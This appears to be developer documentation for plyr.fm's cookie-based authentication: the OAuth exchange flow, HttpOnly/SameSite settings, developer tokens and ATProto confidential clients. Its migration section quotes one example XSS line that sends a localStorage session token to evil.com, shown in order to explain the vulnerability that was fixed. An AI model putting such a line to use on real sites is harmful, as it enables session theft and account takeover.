# authentication plyr.fm uses secure cookie-based authentication to protect user sessions from XSS attacks. ## overview **flow**: 1. user initiates OAuth login via `/auth/start?handle={handle}` 2. backend redirects to user's PDS for authorization 3. PDS redirects back to `/auth/callback` with authorization code 4. backend exchanges code for OAuth tokens, creates session 5. backend creates one-time exchange token, redirects to frontend 6. frontend calls `/auth/exchange` with exchange token 7. backend sets HttpOnly cookie and returns session_id 8. all subsequent requests automatically include cookie ```mermaid sequenceDiagram autonumber participant U as User Browser participant FE as Frontend (Svelte) participant API as Backend API participant PDS as User PDS participant DB as Session DB U->>FE: Visit /portal (unauthenticated) FE->>API: GET /auth/start?handle=handle API-->>U: 307 redirect to PDS authorize U->>PDS: Approve OAuth request PDS-->>API: /auth/callback (code, state, iss) API->>PDS: POST /oauth/token API->>DB: INSERT session (encrypted tokens) API-->>U: 303 redirect /portal?exchange_token=… FE->>API: POST /auth/exchange {exchange_token} API->>DB: UPDATE exchange token (mark used) API-->>FE: Set-Cookie session_id=… (HttpOnly) FE->>API: Subsequent fetches w/ credentials: include API->>DB: SELECT session via cookie API-->>FE: JSON response (tracks, likes, uploads…) ``` **key security properties**: - session tokens stored in HttpOnly cookies (not accessible to JavaScript) - cookies use `Secure` flag (HTTPS only in production) - cookies use `SameSite=Lax` (CSRF protection) - no explicit domain set (prevents cross-environment leakage) - frontend never touches session_id in localStorage or JavaScript ## backend implementation ### setting cookies cookies are set in `/auth/exchange` after validating the one-time exchange token: ```python # src/backend/api/auth.py if is_browser and settings.frontend.url: is_localhost = settings.frontend.url.startswith("http://localhost") response.set_cookie( key="session_id", value=session_id, httponly=True, secure=not is_localhost, # secure cookies require HTTPS samesite="lax", max_age=14 * 24 * 60 * 60, # 14 days ) ``` **environment behavior**: - **localhost**: `secure=False` (HTTP development) - **staging/production**: `secure=True` (HTTPS required) - **no domain parameter**: cookies scoped to exact host (prevents staging→production leakage) ### reading cookies auth dependencies check cookies first, fall back to Authorization header: ```python # src/backend/_internal/auth.py async def require_auth( authorization: Annotated[str | None, Header()] = None, session_id: Annotated[str | None, Cookie(alias="session_id")] = None, ) -> Session: """require authentication with cookie (browser) or header (SDK/CLI) support.""" session_id_value = None if session_id: # check cookie first session_id_value = session_id elif authorization and authorization.startswith("Bearer "): session_id_value = authorization.removeprefix("Bearer ") if not session_id_value: raise HTTPException(status_code=401, detail="not authenticated") session = await get_session(session_id_value) if not session: raise HTTPException(status_code=401, detail="invalid or expired session") return session ``` **parameter aliasing**: `Cookie(alias="session_id")` tells FastAPI to look for a cookie named `session_id` (not the parameter name). ### optional auth endpoints endpoints that show different data for authenticated vs anonymous users: ```python # src/backend/api/tracks.py @router.get("/") async def list_tracks( db: Annotated[AsyncSession, Depends(get_db)], request: Request, session_id_cookie: Annotated[str | None, Cookie(alias="session_id")] = None, ) -> dict: # check cookie or header session_id = ( session_id_cookie or request.headers.get("authorization", "").replace("Bearer ", "") ) # optional auth logic if session_id and (auth_session := await get_session(session_id)): # fetch liked tracks for authenticated user liked_track_ids = set(...) ``` **examples**: - `/tracks/` - shows liked state if authenticated - `/tracks/{track_id}` - shows liked state if authenticated - `/albums/{handle}/{slug}` - shows liked state for album tracks if authenticated ## frontend implementation ### sending cookies all requests include `credentials: 'include'` to send cookies: ```typescript // frontend/src/lib/auth.svelte.ts const response = await fetch(`${API_URL}/auth/me`, { credentials: 'include' // send cookies }); ``` ```typescript // frontend/src/lib/uploader.svelte.ts (XMLHttpRequest) const xhr = new XMLHttpRequest(); xhr.open('POST', `${API_URL}/tracks/`); xhr.withCredentials = true; // send cookies ``` ### no localStorage the frontend **never** reads or writes `session_id` to localStorage: ```typescript // ❌ OLD (vulnerable to XSS) localStorage.setItem('session_id', sessionId); const sessionId = localStorage.getItem('session_id'); headers['Authorization'] = `Bearer ${sessionId}`; // ✅ NEW (secure) // cookies automatically sent with credentials: 'include' // no manual session management needed ``` ### auth state management auth state is checked via `/auth/me`: ```typescript // frontend/src/lib/auth.svelte.ts async initialize() { try { const response = await fetch(`${API_URL}/auth/me`, { credentials: 'include' }); if (response.ok) { const data = await response.json(); this.user = { did: data.did, handle: data.handle }; this.isAuthenticated = true; } } catch (error) { this.isAuthenticated = false; } } ``` ## environment architecture all environments use custom domains on the same eTLD+1 (`.plyr.fm`) to enable cookie sharing between frontend and backend within each environment: ### staging - **frontend**: `stg.plyr.fm` (cloudflare pages project: `plyr-fm-stg`) - **backend**: `api-stg.plyr.fm` (fly.io app: `relay-api-staging`) - **cookie domain**: implicit (scoped to `api-stg.plyr.fm`) - **CORS**: backend allows `https://stg.plyr.fm` ### production - **frontend**: `plyr.fm` (cloudflare pages project: `plyr-fm`) - **backend**: `api.plyr.fm` (fly.io app: `relay-api`) - **cookie domain**: implicit (scoped to `api.plyr.fm`) - **CORS**: backend allows `https://plyr.fm` and `https://www.plyr.fm` ### local development - **frontend**: `localhost:5173` (bun dev server) - **backend**: `localhost:8001` (uvicorn) - **cookie domain**: implicit (scoped to `localhost`) - **CORS**: backend allows `http://localhost:5173` **why no explicit domain?** omitting the `domain` parameter prevents cookies from being shared across environments: - staging cookie (`api-stg.plyr.fm`) **not** sent to production (`api.plyr.fm`) - production cookie (`api.plyr.fm`) **not** sent to staging (`api-stg.plyr.fm`) if we set `domain=".plyr.fm"`, cookies would be shared across **all** subdomains, causing session leakage between environments. ## why SameSite=Lax? `SameSite=Lax` provides CSRF protection while allowing same-site requests: - **allows**: navigation from `stg.plyr.fm` → `api-stg.plyr.fm` (same eTLD+1) - **allows**: fetch with `credentials: 'include'` from same origin - **blocks**: cross-site POST requests (CSRF protection) - **blocks**: cookies from being sent to completely different domains **alternative: SameSite=None** - required for cross-site cookies (e.g., embedding widgets from external domains) - not needed for plyr.fm since frontend and backend are same-site - less secure (allows cross-site requests) ## why HttpOnly? `HttpOnly` cookies cannot be accessed by JavaScript: ```javascript // ❌ cannot read HttpOnly cookies console.log(document.cookie); // session_id not visible // ✅ cookies still sent automatically fetch('/auth/me', { credentials: 'include' }); ``` **protects against**: - XSS attacks stealing session tokens - malicious scripts exfiltrating credentials - account takeover via stolen sessions **does NOT protect against**: - CSRF (use SameSite for that) - man-in-the-middle attacks (use Secure flag + HTTPS) - session fixation (use secure random session IDs) ## migration from localStorage issue #237 tracked the migration from localStorage to cookies. **old flow** (vulnerable): 1. `/auth/exchange` returns `{ session_id: "..." }` 2. frontend stores in localStorage: `localStorage.setItem('session_id', sessionId)` 3. every request: `headers['Authorization'] = Bearer ${localStorage.getItem('session_id')}` 4. ❌ any XSS payload can steal: `fetch('https://evil.com?token=' + localStorage.getItem('session_id'))` **new flow** (secure): 1. `/auth/exchange` sets HttpOnly cookie AND returns `{ session_id: "..." }` 2. frontend does nothing with session_id (only for SDK/CLI clients) 3. every request: `credentials: 'include'` sends cookie automatically 4. ✅ JavaScript cannot access session_id **backwards compatibility**: - backend still returns `session_id` in response body for non-browser clients - backend accepts both cookies and Authorization headers - SDK/CLI clients unaffected (continue using headers) ## security checklist authentication implementation checklist: - [x] cookies use `HttpOnly` flag - [x] cookies use `Secure` flag in production - [x] cookies use `SameSite=Lax` or `SameSite=Strict` - [x] no explicit `domain` set (prevents cross-environment leakage) - [x] frontend sends `credentials: 'include'` on all requests - [x] frontend never reads/writes session_id to localStorage - [x] backend checks cookies before Authorization header - [x] CORS configured per environment (only allow same-origin) - [x] session tokens are cryptographically random - [x] sessions expire after reasonable time (14 days) - [x] logout properly deletes cookies ## testing ### manual testing **test cookie is set**: 1. log in at https://stg.plyr.fm 2. open DevTools → Application → Cookies → `https://api-stg.plyr.fm` 3. verify `session_id` cookie exists with: - HttpOnly: ✓ - Secure: ✓ - SameSite: Lax - Path: / - Domain: api-stg.plyr.fm (no leading dot) **test cookie is sent**: 1. stay logged in 2. open DevTools → Network tab 3. navigate to `/portal` or any authenticated page 4. inspect request to `/auth/me` 5. verify `Cookie: session_id=...` header is present **test cross-environment isolation**: 1. log in to staging at https://stg.plyr.fm 2. open https://plyr.fm (production) 3. verify you are NOT logged in (staging cookie not sent to production) ## troubleshooting ### cookies not being set **symptom**: `/auth/exchange` returns 200 but no cookie in DevTools **check**: 1. is `FRONTEND_URL` environment variable set? ```bash flyctl ssh console -a relay-api-staging echo $FRONTEND_URL ``` 2. is request from a browser (user-agent header)? 3. is response using HTTPS in production (Secure flag requires it)? ### cookies not being sent **symptom**: `/auth/me` returns 401 even after login **check**: 1. frontend using `credentials: 'include'`? 2. CORS allowing credentials? ```python # backend MUST allow credentials allow_credentials=True ``` 3. origin matches CORS regex? 4. SameSite policy blocking request? ### localhost cookies not working **symptom**: cookies work in staging/production but not localhost **check**: 1. is `FRONTEND_URL=http://localhost:5173` set locally? 2. frontend and backend both on `localhost` (not `127.0.0.1`)? 3. backend using `secure=False` for localhost? ## developer tokens (programmatic access) for scripts, CLIs, and automated workflows, create a long-lived developer token: ### creating a token **via UI (recommended)**: 1. go to portal → "your data" → "developer tokens" section 2. optionally enter a name (e.g., "upload-script", "ci-pipeline") 3. select expiration (30/90/180/365 days or never) 4. click "create token" 5. **authorize at your PDS** (you'll be redirected to approve the OAuth grant) 6. copy the token immediately after redirect (shown only once) **via API**: ```javascript // step 1: start OAuth flow (returns auth_url to redirect to) const response = await fetch('/auth/developer-token/start', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: JSON.stringify({ name: 'my-script', expires_in_days: 90 }) }); const { auth_url } = await response.json(); // step 2: redirect user to auth_url to authorize at their PDS // step 3: on callback, token is returned via exchange flow ``` ### managing tokens **list active tokens**: the portal shows all your active developer tokens with: - token name (or auto-generated identifier) - creation date - expiration date **revoke a token**: 1. go to portal → "your data" → "developer tokens" 2. find the token in the list 3. click "revoke" to immediately invalidate it **via API**: ```bash # list tokens curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens # revoke by prefix (first 8 chars shown in list) curl -X DELETE -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/developer-tokens/abc12345 ``` ### using tokens set the token in your environment: ```bash export PLYR_TOKEN="your_token_here" ``` use with any authenticated endpoint: ```bash # check auth curl -H "Authorization: Bearer $PLYR_TOKEN" https://api.plyr.fm/auth/me ``` **CLI usage** (`scripts/plyr.py`): ```bash # list your tracks PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py list # upload a track PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py upload track.mp3 "My Track" # download a track PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py download 42 -o my-track.mp3 # delete a track PLYR_API_URL=https://api.plyr.fm uv run scripts/plyr.py delete 42 -y ``` ### configuration backend settings in `AuthSettings`: - `developer_token_default_days`: default expiration (90 days) - `developer_token_max_days`: max allowed expiration (365 days) - use `expires_in_days: 0` to request the maximum allowed by refresh lifetime ### how it works developer tokens are sessions with their own independent OAuth grant. when you create a dev token, you go through a full OAuth authorization flow at your PDS, which gives the token its own access/refresh credentials. this means: - dev tokens can refresh independently (no staleness when browser session refreshes) - each token has its own DPoP keypair for request signing - logging out of browser doesn't affect dev tokens (cookie isolation) - revoking browser session doesn't affect dev tokens dev tokens can: - read your data (tracks, likes, profile) - upload tracks (creates ATProto records on your PDS) - perform any authenticated action **security notes**: - tokens have full account access - treat like passwords - revoke individual tokens via the portal or API - each token is independent - revoking one doesn't affect others - token names help identify which token is used where - tokens require explicit OAuth consent at your PDS ## OAuth client types: public vs confidential ATProto OAuth distinguishes between two types of clients based on their ability to authenticate themselves to the authorization server. ### what is a confidential client? a **confidential client** is an OAuth client that can prove its identity to the authorization server using cryptographic keys. the term "confidential" means the client can keep a secret - specifically, an ES256 private key that never leaves the server. **public client** (default): - cannot authenticate itself (uses `token_endpoint_auth_method: "none"`) - anyone could impersonate your client_id - authorization server issues **2-week refresh tokens** **confidential client** (with `OAUTH_JWK`): - authenticates using `private_key_jwt` - signs a JWT with its private key - authorization server verifies signature against your `/.well-known/jwks.json` - proves the request actually came from your server - authorization server issues **180-day refresh tokens** ### why this matters for plyr.fm with public clients, the underlying ATProto refresh token expires after 2 weeks regardless of what we store in our database. users would need to re-authenticate with their PDS every 2 weeks. with confidential clients: - **developer tokens work long-term** - not limited to 2 weeks - **users don't get randomly kicked out** after 2 weeks of inactivity - **sessions last up to refresh lifetime** as long as tokens are refreshed within 180 days ### how it works 1. **key generation**: generate an ES256 (P-256) keypair ```bash uv run python scripts/gen_oauth_jwk.py ``` 2. **configuration**: set `OAUTH_JWK` env var with the private key JSON 3. **JWKS endpoint**: backend serves public key at `/.well-known/jwks.json` - authorization server fetches this to verify our signatures 4. **client metadata**: `/oauth-client-metadata.json` advertises: ```json { "token_endpoint_auth_method": "private_key_jwt", "token_endpoint_auth_signing_alg": "ES256", "jwks_uri": "https://plyr.fm/.well-known/jwks.json" } ``` 5. **token requests**: on every token request (initial AND refresh), the library: - creates a short-lived JWT (`client_assertion`) signed with our private key - includes `client_assertion_type` and `client_assertion` in the request - PDS verifies signature → issues long-lived tokens ### implementation details the confidential client support lives in our `atproto` fork (`zzstoatzz/atproto`): ```python # packages/atproto_oauth/client.py client = OAuthClient( client_id='https://plyr.fm/oauth-client-metadata.json', redirect_uri='https://plyr.fm/auth/callback', scope='atproto ...', state_store=state_store, session_store=session_store, client_secret_key=ec_private_key, # enables confidential client ) ``` when `client_secret_key` is set, `_make_token_request()` automatically adds client assertions to all token endpoint calls (initial exchange, refresh, revoke). ### key rotation for key rotation: 1. generate new key with different `kid` (key ID) 2. add both keys to JWKS (old and new) 3. deploy - new tokens use new key, old tokens still verify 4. after 180 days, remove old key from JWKS ### token refresh mechanism plyr.fm automatically refreshes ATProto tokens when they expire. here's how it works: 1. **trigger**: user makes a PDS request (upload, create record, etc.) 2. **detection**: PDS returns `401 Unauthorized` with `"exp"` in error message (access token expired) 3. **refresh**: `_refresh_session_tokens()` in `_internal/atproto/client.py`: - acquires per-session lock (prevents race conditions) - calls `OAuthClient.refresh_session()` with the refresh token - for confidential clients: signs a client assertion JWT - PDS verifies assertion → issues new tokens - saves new tokens to database 4. **retry**: original request retries with fresh tokens **what gets refreshed**: - **access token**: short-lived (~minutes), refreshed frequently - **refresh token**: long-lived (2 weeks public, 180 days confidential), rotated on each use **observability**: look for these log messages in logfire: - `"access token expired for did:plc:..., attempting refresh"` - `"refreshing access token for did:plc:..."` - `"successfully refreshed access token for did:plc:..."` ### migration: deploying confidential client when deploying confidential client support, **existing sessions continue to work** but have limitations: | aspect | existing sessions | new sessions (post-deploy) | |--------|-------------------|---------------------------| | plyr.fm session | unchanged | unchanged | | ATProto refresh token | 2-week lifetime (public client) | 180-day lifetime (confidential) | | behavior at 2 weeks | refresh fails → re-auth needed | continues working | **what happens to existing tokens**: 1. existing sessions were created as "public client" - the PDS issued 2-week refresh tokens 2. those refresh tokens cannot be upgraded - they have a fixed expiration 3. when the refresh token expires, the next PDS request will fail 4. users will need to re-authenticate to get new sessions with 180-day refresh tokens **timeline example**: - dec 8: user creates dev token (public client, 2-week refresh) - dec 22: ATProto refresh token expires - user tries to upload → refresh fails → 401 error - user creates new dev token → now gets 180-day refresh **production impact** (as of deployment): - most browser sessions expire within 14 days anyway (cookie `max_age`) - developer tokens are affected most - they have 90+ day session expiry but 2-week refresh - only 3 long-lived dev tokens in production (internal accounts) - new sessions will automatically get 180-day refresh tokens ### sources - [ATProto OAuth spec - tokens and session lifetime](https://atproto.com/specs/oauth#tokens-and-session-lifetime) - [RFC 7523 - JWT Bearer Client Authentication](https://datatracker.ietf.org/doc/html/rfc7523) - [bailey's ATProto SvelteKit template](https://tangled.org/baileytownsend.dev/atproto-sveltekit-template) - TypeScript reference implementation - PR #578: confidential OAuth client support ## references - [MDN: HttpOnly cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#security) - [MDN: SameSite cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#samesitesamesite-value) - [OWASP: Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) - [ATProto OAuth spec](https://atproto.com/specs/oauth) - issue #237: secure browser auth storage - PR #239: frontend localStorage removal - PR #243: backend cookie implementation - PR #244: merged cookie-based auth - PR #367: developer tokens with independent OAuth grants